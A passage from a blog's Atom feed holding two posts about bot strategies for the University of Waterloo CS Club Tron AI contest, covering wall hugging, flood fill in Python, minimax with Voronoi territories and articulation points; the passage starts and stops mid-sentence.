moves later, red can easily corner us.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="clear: both;"&gt;&lt;hr /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400XKOpEtI/AAAAAAAAPWQ/1TFNges609I/s1600-h/game5_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400XKOpEtI/AAAAAAAAPWQ/1TFNges609I/s200/game5_1.png" height="188" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;This game was played against the contest winner, a1k0n, we're blue again.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400bM6ucYI/AAAAAAAAPWU/NHcVB3sDxIE/s1600-h/game5_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400bM6ucYI/AAAAAAAAPWU/NHcVB3sDxIE/s200/game5_2.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Both players start of pretty aggressive.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/S400eeK-z3I/AAAAAAAAPWY/EViduIwnoI0/s1600-h/game5_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_X4W-h82Vgjw/S400eeK-z3I/AAAAAAAAPWY/EViduIwnoI0/s200/game5_3.png" height="187" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Red makes a slight detour, so we go north to reach him.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400h5xPPXI/AAAAAAAAPWc/NdAumvqy9D4/s1600-h/game5_4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400h5xPPXI/AAAAAAAAPWc/NdAumvqy9D4/s200/game5_4.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Then red turns around, an obvious mistake would be to follow him by going south. In the first part we've mentioned this problem and included a fix to avoid these dead-ends.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S400li8eGVI/AAAAAAAAPWg/y9aqw5TCOfE/s1600-h/game5_5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S400li8eGVI/AAAAAAAAPWg/y9aqw5TCOfE/s200/game5_5.png" height="187" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;...and thus we turn around as well.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S400pFJbXRI/AAAAAAAAPWk/YIw1adE16aA/s1600-h/game5_6.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S400pFJbXRI/AAAAAAAAPWk/YIw1adE16aA/s200/game5_6.png" height="187" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Alas, red is still able to close us off before we reach him. I actually consider this a well-played game.&lt;br /&gt;&lt;div style="clear: both;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;h3&gt;An easier (and better) minimax evaluation function: Voronoi territories&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;In the previous post I've already mentioned that the most important part of a good minimax strategy is the evaluation (the score) you give to each game state. A lot of players have been using a Voronoi Territory based system to evaluate their positions.&lt;br /&gt;&lt;br /&gt;The name comes from &lt;a href="http://en.wikipedia.org/wiki/Voronoi_diagram" target="new"&gt;Voronoi diagrams&lt;/a&gt;, a decomposition of space determined by distances to objects in that space (like points for example). When applied to the game of Tron, we could start with this simple board:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S400uc5jzBI/AAAAAAAAPWo/zYmmrnEA4Jg/s1600-h/voronoi1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S400uc5jzBI/AAAAAAAAPWo/zYmmrnEA4Jg/s1600/voronoi1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;To define our territory, we figure out the quickest way to reach each free square, both for us, and for our opponent:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400xVroxQI/AAAAAAAAPWs/rjp6uG3981Q/s1600-h/voronoi2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400xVroxQI/AAAAAAAAPWs/rjp6uG3981Q/s320/voronoi2.png" height="151" width="320" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Our territory is defined by the squares we can reach quicker than our opponent, and vice verso. E.g. red's space is colored in light red, blue's space in light blue:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4001dkwqGI/AAAAAAAAPWw/O4tQoEJHYIM/s1600-h/voronoi3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4001dkwqGI/AAAAAAAAPWw/O4tQoEJHYIM/s1600/voronoi3.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;If we apply this method to each board in our minimax tree, we can assign a score. For example:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;score&lt;/i&gt; = &lt;i&gt;size of our territory&lt;/i&gt; - &lt;i&gt;size of their territory&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;h3&gt;Articulation points&lt;/h3&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;To expand on this idea, a lot of players also searched for &lt;a href="http://en.wikipedia.org/wiki/Cut_vertex" target="new"&gt;articulation points&lt;/a&gt; on the board to see if it would make sense to block those off. Remember: an articulation point is a point such that removal (filling) that point would increase the number of disconnected "chambers". For example, the articulation points in the board above are:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4009Ad07HI/AAAAAAAAPW0/hROnW7-xPXM/s1600-h/artic1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4009Ad07HI/AAAAAAAAPW0/hROnW7-xPXM/s1600/artic1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A good strategy checks whether we can reach those articulation points first, if it separates us from our opponent, and if doing so would result in more territory for us than our opponent.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Worth reading&lt;/h3&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Now that the contest is over, a lot of players have posted their source code in &lt;a href="http://csclub.uwaterloo.ca/contest/forums/viewtopic.php?f=8&amp;amp;t=358#p1849" target="new"&gt;this thread&lt;/a&gt;. The &lt;a href="http://github.com/a1k0n/tronbot" target="new"&gt;git repository&lt;/a&gt; of the contest winner is especially worth taking a look at.&lt;br /&gt;&lt;br /&gt;&lt;b style="color: rgb(255, 0, 0);"&gt;Addendum&lt;/b&gt;: a1k0n has posted a &lt;a href="http://a1k0n.net/blah/archives/2010/03/index.html#top"&gt;post-mortem on his blog&lt;/a&gt;, which manages to explain things very well. It's a wonderful read.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-6772335283783983364?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/6772335283783983364/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2010/03/university-of-waterloo-cs-club-tron.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6772335283783983364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6772335283783983364'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/03/university-of-waterloo-cs-club-tron.html' title='The University Of Waterloo CS Club Tron Challenge, And Some Minimax In General - Part 2'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_X4W-h82Vgjw/S40zMMa5LgI/AAAAAAAAPVQ/D2y-QyMkIrY/s72-c/game1_1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-3236251803995995240</id><published>2010-02-25T00:06:00.008+01:00</published><updated>2010-04-23T13:46:54.937+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ai'/><category scheme='http://www.blogger.com/atom/ns#' term='challenge'/><category scheme='http://www.blogger.com/atom/ns#' term='bot'/><category scheme='http://www.blogger.com/atom/ns#' term='tron'/><category scheme='http://www.blogger.com/atom/ns#' term='minimax'/><title type='text'>The University Of Waterloo CS Club Tron Challenge, And Some Minimax In General</title><content type='html'>(This is the first part in the University Of Waterloo CS Club Tron Challenge post series. You can find the second part&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2010/03/university-of-waterloo-cs-club-tron.html" target="new"&gt;here&lt;/a&gt;.)&lt;br /&gt;&lt;br /&gt;The Computer Science Club of the University of Waterloo is currently organizing an &lt;a href="http://csclub.uwaterloo.ca/contest/index.php" target="new"&gt;AI challenge&lt;/a&gt;, sponsored by Google. I'm (as always) a bit late with my write-up and the contest will be ending soon (26th of February), so you will have to be quick if you still want to enter. However, I can imagine that many of you are already familiar with the contest...&lt;br /&gt;&lt;br /&gt;Since this challenge combines some interesting topics: AI, a game, a contest and optimization, I thought it might be interesting to post some conclusions here. Note that many of the topics here are already discussed at other websites and blogs. I will post references and links to those. Consider this as a general overview, a journal of my own tries, and a closer look at some common pitfalls.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Introduction&lt;/h3&gt;&lt;br /&gt;The challenge this year was all about Tron. Tron is like two-player Snake, where your objective is to box in your opponent to force him to crash into a wall (or your or his own tail) before you do. Of course, this game was first introduced in the movie with the similar name: Tron.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/-3ODe9mqoDE&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/-3ODe9mqoDE&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;In this version of the game, some things are a bit simpler then what we see in the movie above:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Only two teams, with one player per team. In other words: one versus one.&lt;/li&gt;&lt;li&gt;No acceleration: everyone moves at the same speed.&lt;/li&gt;&lt;li&gt;No breaking the boundaries.&lt;/li&gt;&lt;li&gt;Your tail doesn't vanish once you crash. Even if this would happen, it wouldn't matter (once you've crashed you've lost anyway and the game ends).&lt;/li&gt;&lt;li&gt;The playfield doesn't necessarily start empty.&lt;/li&gt;&lt;/ul&gt;(Note: it is possible to find many (free) games on the internet which do include some of these features.)&lt;br /&gt;&lt;br /&gt;For example, one of the maps provided in the package looks like this:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;########&lt;br /&gt;#1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2#&lt;br /&gt;########&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;tt&gt;#&lt;/tt&gt; stands for a wall, and &lt;tt&gt;1&lt;/tt&gt; and &lt;tt&gt;2&lt;/tt&gt; are our two players on their starting positions.&lt;br /&gt;&lt;br /&gt;Let's pit them against each other and see how they fare. We provide them with a very basic mode of intelligence: just pick any random direction if the space is free if possible.&lt;br /&gt;&lt;br /&gt;After the first move, the board looks like this:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;########&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2#&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;##&lt;br /&gt;########&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;See how they both leave a wall behind them? Note that diagonal moves are forbidden. A few moves later, the situation looks like this:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;########&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;###&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#&amp;nbsp;1&amp;nbsp;&amp;nbsp;###&lt;br /&gt;#&amp;nbsp;&amp;nbsp;2####&lt;br /&gt;########&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;If player 1 now decides to go right, and player 2 decides to go up, they will crash into each other and the game will end with a draw. This actual run turns out to be a bit more dramatic:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;########&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;###&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;#1#2&amp;nbsp;###&lt;br /&gt;#&amp;nbsp;&amp;nbsp;#####&lt;br /&gt;########&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Player 1 has gone left, and 2 has gone up and the players are now seperated from each other. Unless player 2 does something really stupid, it is clear that 1 will lose...&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;########&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;###&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;####2###&lt;br /&gt;#1&amp;nbsp;#####&lt;br /&gt;########&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;########&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;##&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&lt;br /&gt;###&amp;nbsp;2&amp;nbsp;&amp;nbsp;#&lt;br /&gt;########&lt;br /&gt;##1#####&lt;br /&gt;########&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Player 1 is completely trapped and crashes into a wall. Player 2 wins.&lt;br /&gt;&lt;br /&gt;The objective of each participant is to write an AI which will have to play against the bots of the other players. The more you win, the higher you score...&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Basic strategies&lt;/h3&gt;&lt;br /&gt;To help players start off, the website gives some &lt;a href="http://csclub.uwaterloo.ca/contest/xiao_strategy.php" target="new"&gt;basic strategies&lt;/a&gt; for your bot:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Random selection:&lt;/strong&gt; as seen in the introduction: just pick an open space at random and move there. This is a bad strategy because often you will seperate yourself from your opponent, with less space to move in.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Ordered selection:&lt;/strong&gt; make a list of directions, e.g. [north, east, south, west]. Pick the first possible direction from the list. This will not seperate you from your opponent as quick (or foolish) as random selection, but will eventually end up in a bad seperation otherwise.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Wall hugging:&lt;/strong&gt; always try to stay close to a wall. This strategy is interesting because it makes good use of the available space. However, it is not often perfect. Take for example a red player who finds himself in this position:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wo_DA67QI/AAAAAAAAPTA/ZJSQx6vgOGw/s1600-h/image1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="109" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wo_DA67QI/AAAAAAAAPTA/ZJSQx6vgOGw/s200/image1.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Now let's assume that the player is a wall hugger: he prefers to be close to a wall at all times. Let's also assume that if there are more available choices, he follows the left hand rule. After a few moves, the situation thus looks like (grey squares are the "tail" of the player):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WpHfEH6-I/AAAAAAAAPTE/L90D2l4SHeU/s1600-h/image2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WpHfEH6-I/AAAAAAAAPTE/L90D2l4SHeU/s1600/image2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;When we continue following the left hand rule (and still being close to a wall), we end up with:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WpOnDewQI/AAAAAAAAPTI/S-tuZM9VBCU/s1600-h/image3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WpOnDewQI/AAAAAAAAPTI/S-tuZM9VBCU/s1600/image3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Which is of course, not the optimal choice here.&amp;nbsp;It is trivial to find other maps which break the left (or right, or ordered direction) wall hugging method.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Wall hugging - another try:&lt;/strong&gt; let's see if we can fix the above problem. Let's wallhug while following a rule (left or right hand, ordered direction or even random), but when we notice that a move would lead us into a new seperate space which results in less possible moves than the other seperated space, try the next move.&lt;br /&gt;&lt;br /&gt;E.g., moving left in this scenario:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WpHfEH6-I/AAAAAAAAPTE/L90D2l4SHeU/s1600-h/image2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WpHfEH6-I/AAAAAAAAPTE/L90D2l4SHeU/s1600/image2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;...would lead us into a new seperated space with less empty cells than when we would have gone right. Will this strategy work? Let's start again:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wo_DA67QI/AAAAAAAAPTA/ZJSQx6vgOGw/s1600-h/image1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="109" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4Wo_DA67QI/AAAAAAAAPTA/ZJSQx6vgOGw/s200/image1.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Let's say we follow the left hand rule again. We just keep following the wall until:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WpHfEH6-I/AAAAAAAAPTE/L90D2l4SHeU/s1600-h/image2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WpHfEH6-I/AAAAAAAAPTE/L90D2l4SHeU/s1600/image2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Now, with our new rule in place, we will not go left, as this would seperate us in a bad way from the other empty squares. We thus pick the next possible move, which is right. Note that this also seperates us from the squares to our left, but since we have more moves in our space, this is no problem:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4Wp56sQuYI/AAAAAAAAPTM/9ohhSflKMA0/s1600-h/image4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4Wp56sQuYI/AAAAAAAAPTM/9ohhSflKMA0/s1600/image4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;We continue following the wall until we see this:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WqDhl8vdI/AAAAAAAAPTQ/CJaAZ8SPdjo/s1600-h/image5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S4WqDhl8vdI/AAAAAAAAPTQ/CJaAZ8SPdjo/s1600/image5.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The left hand rule suggests us to go left. This seperates our possibilities once again, but since left results in more empty spaces than going up, we can safely go left. This continues until we have no more moves left:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WqJQ_L8lI/AAAAAAAAPTU/cAzlHeWWPeA/s1600-h/image6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S4WqJQ_L8lI/AAAAAAAAPTU/cAzlHeWWPeA/s1600/image6.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Not bad at all, the board was quite nicely filled. Still, we can do better. In fact, it is possible to end up like this:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WqS7mfFmI/AAAAAAAAPTY/cZgKSM-TMZE/s1600-h/image7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S4WqS7mfFmI/AAAAAAAAPTY/cZgKSM-TMZE/s1600/image7.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;This is clearly a much better way of filling the board (in fact, it is the best). Can you figure out how to do it? Can you figure out an algorithm to describe the behaviour? Do you think your algorithm will work in all maps? Keep these questions in mind for later...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Enemy avoidance or chasing:&lt;/strong&gt; run away from the enemy. Pick the direction which is farthest away from the opponent. We can also reverse this strategy: move as close to the opponent as possible. Both are easy to implement, so which one do we pick? In most maps, chasing will result in a draw against other chasers (suicidal behaviour), and in a win against runners. Runners on the other hand will often draw agains runners. Most player pick a chasing, aggressive bot. And since drawing is better than losing, we have no choice but to use an aggressive bot ourselves to increase our chances.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Most open destination:&lt;/strong&gt; uses some simple rules to pick the direction which ends up giving us the most open spaces. We already used this a bit in our improvement of our wall hugging algorithm.&lt;br /&gt;&lt;br /&gt;The website also mentions near and far strategies, but we'll take a look at those later.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;First conclusions&lt;/h3&gt;&lt;br /&gt;After evaluating the strategies above, we can already draft out a good simple strategy:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;When we're not seperated from the opponent: try to seperate him into a space so that we have more remaining moves than him.&lt;/li&gt;&lt;li&gt;Once we are seperated: try to fill our available moves in the best possible way.&lt;/li&gt;&lt;/ul&gt;To find out if we're seperated (and our available spaces), we can use a &lt;a href="http://en.wikipedia.org/wiki/Flood_fill" target="new"&gt;flood fill algorithm&lt;/a&gt;. An implementation in Python could look like this:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;def flood_fill(board, startpos):&lt;br /&gt;&amp;nbsp;&amp;nbsp;expand = [startpos]&lt;br /&gt;&amp;nbsp;&amp;nbsp;done = []&lt;br /&gt;&amp;nbsp;&amp;nbsp;while len(expand) is not 0:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pos = expand.pop()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done.append(pos)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for dir in tron.DIRECTIONS:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dest = board.rel(dir, pos)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if board.passable(dest) and dest not in done and dest not in expand:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;expand.append(dest)&lt;br /&gt;&amp;nbsp;&amp;nbsp;return len(done)&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;However, figuring out the number of empty squares is not enough. Once we know that we have more space, how do we proceed to fill this space in an optimal way. As we saw in the wall hugging strategy above, it turns out this is deceptively difficult. The Waterloo strategy page describes it best:&lt;br /&gt;&lt;blockquote&gt;However, there are situations where flood-fill can be tricked into entering a trap: an area that looks big, but in which your bot cannot move freely. So, while this strategy works for most situations and is an easy addition to a good near strategy, it doesn't cover all situations.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Longest-path approximation&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;What your bot is effectively trying to do in a survival situation is to find the longest path in the board starting at your current position.&lt;br /&gt;&lt;br /&gt;Unfortunately, the longest-path problem itself is NP-complete, which means that, barring a miracle in Computer Science (namely, the unlikely result that P=NP), it is very difficult in general to find this longest path.&lt;br /&gt;&lt;br /&gt;All hope is not lost, however: there are some decent approximations you can make which run reasonably quickly and avoid traps like those described above.&lt;br /&gt;&lt;br /&gt;One such approach is based on &lt;a href="http://en.wikipedia.org/wiki/Articulation_vertex" target="new"&gt;articulation vertices&lt;/a&gt; on the board. An articulation vertex on a Tron board is a space which, if it were filled in by a wall or trail, would cut the area it is in into two or more disconnected areas. For a given square, if it is an articulation vertex which cuts the area into three or more disconnected areas, then it is impossible for your bot to visit all three areas, which gives you an easy way to determine how many squares are impossible to visit. By computing the articulation vertices in the 